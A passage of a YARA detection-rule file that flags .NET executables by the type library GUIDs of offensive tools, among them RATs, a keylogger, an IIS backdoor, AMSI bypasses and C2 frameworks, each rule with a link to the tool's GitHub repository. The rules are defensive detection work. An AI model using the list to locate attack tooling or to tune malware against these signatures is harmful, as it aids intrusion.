		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1a4141b376afbf36a7a9aa340ea5514b85dd6b0fab003554bae06c0240c98a79"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "3092c8df-e9e4-4b75-b78e-f81a0058a635" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Backnet : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "91824d18-f46b-5b95-b650-4d710d711cf9"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/valsov/BackNet"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1692-L1708"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "82ab970de2e27e711c502903cc2ede47da296df3ea346c870698c920a4ece282"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "9fdae122-cd1e-467d-a6fa-a98c26e76348" ascii wide
		$typelibguid1lo = "243c279e-33a6-46a1-beab-2864cc7a499f" ascii wide
		$typelibguid2lo = "a7301384-7354-47fd-a4c5-65b74e0bbb46" ascii wide
		$typelibguid3lo = "982dc5b6-1123-428a-83dd-d212490c859f" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Allthethings : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c35160cb-ad31-5195-a7c6-0af91a58737d"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/johnjohnsp1/AllTheThings"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1710-L1723"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a4a562e4db2477be34fa4ccf2c83afafc7aafead3a9eae434b4bc0a5ea6430f7"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "0547ff40-5255-42a2-beb7-2ff0dbf7d3ba" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Addreferencedotredteam : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "59299a72-9b7a-5108-81c2-d8f6d2e99b20"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/ceramicskate0/AddReferenceDotRedTeam"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1725-L1738"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ec7e0c39db13d212ff9aac4ec8d7d9b4274f3a404997f9291dcbfeaf311f31b4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "73c79d7e-17d4-46c9-be5a-ecef65b924e4" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_Crypter : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "484c7a15-7ab2-57d3-848c-0fddff753d52"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/Lime-Crypter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1740-L1753"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ab4243f5e4efcadc9d1a9a34bdb4d5aedcf500accf4cb3681a73015c7f3f6900"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f93c99ed-28c9-48c5-bb90-dd98f18285a6" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}


rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshot : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "9d59cd53-53b1-57db-b391-eee4dd6feec0"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/tothi/SharpShot"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1772-L1785"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "65bbe20eb2aac648648b828c176e418648ebdc6372d287e4bc3b0d3edf233e86"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "057aef75-861b-4e4b-a372-cfbd8322c8e1" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Offensive__NET : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b98495fb-0338-5042-a7ce-d117204eb91e"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/mrjamiebowman/Offensive-.NET"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1787-L1800"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "dddbee2e6d1cd4046f91192fe26841cc6c359dd9188d472c8b2acca691c15a34"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "11fe5fae-b7c1-484a-b162-d5578a802c9c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Ruralbishop : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8fd89465-1ecc-5eda-b2ab-273172ad945d"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/rasta-mouse/RuralBishop"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1802-L1815"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8dfa8652507851305da814b1410a7854be2c1c78cac325881118829be3456776"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "fe4414d9-1d7e-4eeb-b781-d278fe7a5619" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Deviceguardbypasses : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3790faac-b5be-5999-b35f-71a2ef02b6ed"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/tyranid/DeviceGuardBypasses"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1817-L1835"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "aff1a0236c532d5822a440f1d9a0a0265b422ebe0b53d799d53e838aef5f64ad"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f318466d-d310-49ad-a967-67efbba29898" ascii wide
		$typelibguid1lo = "3705800f-1424-465b-937d-586e3a622a4f" ascii wide
		$typelibguid2lo = "256607c2-4126-4272-a2fa-a1ffc0a734f0" ascii wide
		$typelibguid3lo = "4e6ceea1-f266-401c-b832-f91432d46f42" ascii wide
		$typelibguid4lo = "1e6e9b03-dd5f-4047-b386-af7a7904f884" ascii wide
		$typelibguid5lo = "d85e3601-0421-4efa-a479-f3370c0498fd" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_AMSI_Handler : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "40768acf-fa9e-531a-83fd-187814ddc2d4"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/two06/AMSI_Handler"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1837-L1853"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3b27157331b3b9f6897134172f7dd9198fad7747c12d1020cb3e2d924c2910ce"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "d829426c-986c-40a4-8ee2-58d14e090ef2" ascii wide
		$typelibguid1lo = "86652418-5605-43fd-98b5-859828b072be" ascii wide
		$typelibguid2lo = "1043649f-18e1-41c4-ae8d-ac4d9a86c2fc" ascii wide
		$typelibguid3lo = "1d920b03-c537-4659-9a8c-09fb1d615e98" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_RAT_Telegramspybot : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "57d22201-a051-5040-927c-30da3fc684fd"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/SebastianEPH/RAT.TelegramSpyBot"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1855-L1868"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9fc671ef600548d962a2d5ab12ba3111ed19e83ef96d2d536eb343bb8fb4b0d2"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8653fa88-9655-440e-b534-26c3c760a0d3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Thehacktoolboxteek : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ad8cf2c8-f70e-5f46-92fa-46e1fa5e683c"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/teeknofil/TheHackToolBoxTeek"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1870-L1889"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f18d6be2789371f3db649d0df3fc31a2e97604b399873c9843c1e08c981be0da"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "2aa8c254-b3b3-469c-b0c9-dcbe1dd101c0" ascii wide
		$typelibguid1lo = "afeff505-14c1-4ecf-b714-abac4fbd48e7" ascii wide
		$typelibguid2lo = "4cf42167-a5cf-4b2d-85b4-8e764c08d6b3" ascii wide
		$typelibguid3lo = "118a90b7-598a-4cfc-859e-8013c8b9339c" ascii wide
		$typelibguid4lo = "3075dd9a-4283-4d38-a25e-9f9845e5adcb" ascii wide
		$typelibguid5lo = "295655e8-2348-4700-9ebc-aa57df54887e" ascii wide
		$typelibguid6lo = "74efe601-9a93-46c3-932e-b80ab6570e42" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Usbtrojan : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d25c9033-13e8-5fc9-8561-f8862cca39b8"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/mashed-potatoes/USBTrojan"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1891-L1904"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2280803c42311b8b78a51f0917d9fb4cdd8ca427ce2361372914e5922a1a0b68"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4eee900e-adc5-46a7-8d7d-873fd6aea83e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_IIS_Backdoor : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "44264dd9-f8e9-5a60-847f-94378e07a327"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/WBGlIl/IIS_backdoor"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1906-L1920"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "61fcba7e59ac005db140d8eee1d8a1fd4ce8cd18c069053270e0195ee9d63ccc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "3fda4aa9-6fc1-473f-9048-7edc058c4f65" ascii wide
		$typelibguid1lo = "73ca4159-5d13-4a27-8965-d50c41ab203c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Shellgen : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "538a4f12-5020-5c76-9208-363f435ed9a9"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/jasondrawdy/ShellGen"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1922-L1935"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "80c7291653e6cb5d7ef4d69390f7508cd95149d92b59aa3b5c8e6e0fe3723bfe"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c6894882-d29d-4ae1-aeb7-7d0a9b915013" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Mass_RAT : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "90b742da-6fd7-5c72-96cf-7a37a3e5d808"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/Mass-RAT"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1937-L1952"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "53ef9b1d44e6497bafe0982f2e6be65240fcf5684a7b5a6c32a704ab3b7e085c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "6c43a753-9565-48b2-a372-4210bb1e0d75" ascii wide
		$typelibguid1lo = "92ba2a7e-c198-4d43-929e-1cfe54b64d95" ascii wide
		$typelibguid2lo = "4cb9bbee-fb92-44fa-a427-b7245befc2f3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Browser_Externalc2 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8c309522-90e7-5f5a-b456-3a472756d397"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/mdsecactivebreach/Browser-ExternalC2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1954-L1967"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1a0027775fb2a06d01cfe30c85ce03e11cf43976abe9bf7b2c61895a55d26404"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "10a730cd-9517-42d5-b3e3-a2383515cca9" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Offensivepowershelltasking : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d221e24d-a2ef-51e2-95bf-4b91b438d9cf"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/leechristensen/OffensivePowerShellTasking"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1969-L1983"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "21d7192eaefeeed030b1ef1be29b54c12826914dc6f0945789f3690a39bee217"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "d432c332-3b48-4d06-bedb-462e264e6688" ascii wide
		$typelibguid1lo = "5796276f-1c7a-4d7b-a089-550a8c19d0e8" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dohc2 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0bb38f10-ca5c-5c18-97c9-540b6367d150"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/SpiderLabs/DoHC2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1985-L1998"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1601c438c4359d3daa1b5b3cc36a82e049a5ed379ec7a52cdd4a9bca83518dd3"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "9877a948-2142-4094-98de-e0fbb1bc4062" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Syscallpoc : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "1ed5e226-0dcd-5397-b5e8-41f8a14981a1"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/SolomonSklash/SyscallPOC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2000-L2014"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a12628052d5c1043b3aae0bedb62908a35cb27871e329f84b0fc22e29149f89e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "1e54637b-c887-42a9-af6a-b4bd4e28cda9" ascii wide
		$typelibguid1lo = "198d5599-d9fc-4a74-87f4-5077318232ad" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_The_Collection : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "4ae78576-ab75-5679-9a29-4d9a1ff03f15"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/Tlgyt/The-Collection"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2042-L2059"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d8e28d972aaf44caff35bf982788a6e9b69d0acce4b11c8cfa00c65466412305"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "579159ff-3a3d-46a7-b069-91204feb21cd" ascii wide
		$typelibguid1lo = "5b7dd9be-c8c3-4c4f-a353-fefb89baa7b3" ascii wide
		$typelibguid2lo = "43edcb1f-3098-4a23-a7f2-895d927bc661" ascii wide
		$typelibguid3lo = "5f19919d-cd51-4e77-973f-875678360a6f" ascii wide
		$typelibguid4lo = "17fbc926-e17e-4034-ba1b-fb2eb57f5dd3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Change_Lockscreen : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "a817c6e8-95f9-56c6-97b8-4be06658629f"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/nccgroup/Change-Lockscreen"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2061-L2074"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6b3cd265c6ccdae529a52c3609610f0e633f0112180afd63a5d9892e78d12ef1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "78642ab3-eaa6-4e9c-a934-e7b0638bc1cc" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_LOLBITS : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "66454ac0-742b-51a3-ac45-1ac9606e8b89"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/Kudaes/LOLBITS"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2076-L2089"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fa5978a49940cef63308ae228607eff22d19ea05373b2c4a3a293074af422b20"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "29d09aa4-ea0c-47c2-973c-1d768087d527" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Keylogger : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0576756e-26d5-5165-b621-917126a75a38"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/BlackVikingPro/Keylogger"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2091-L2104"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "490fb06375b32c70041754e8855cc1d26b76531d24a58bb0b719a998fdb809d6"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "7afbc9bf-32d9-460f-8a30-35e30aa15879" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2020_1337 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "4b79867d-761c-5aa8-bf8a-60caa50d8aa6"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/neofito/CVE-2020-1337"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2106-L2119"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "05d557a3592845030880c3b87d8134565c2858db89218e1c38edbb025b945d72"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "d9c2e3c1-e9cc-42b0-a67c-b6e1a4f962cc" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

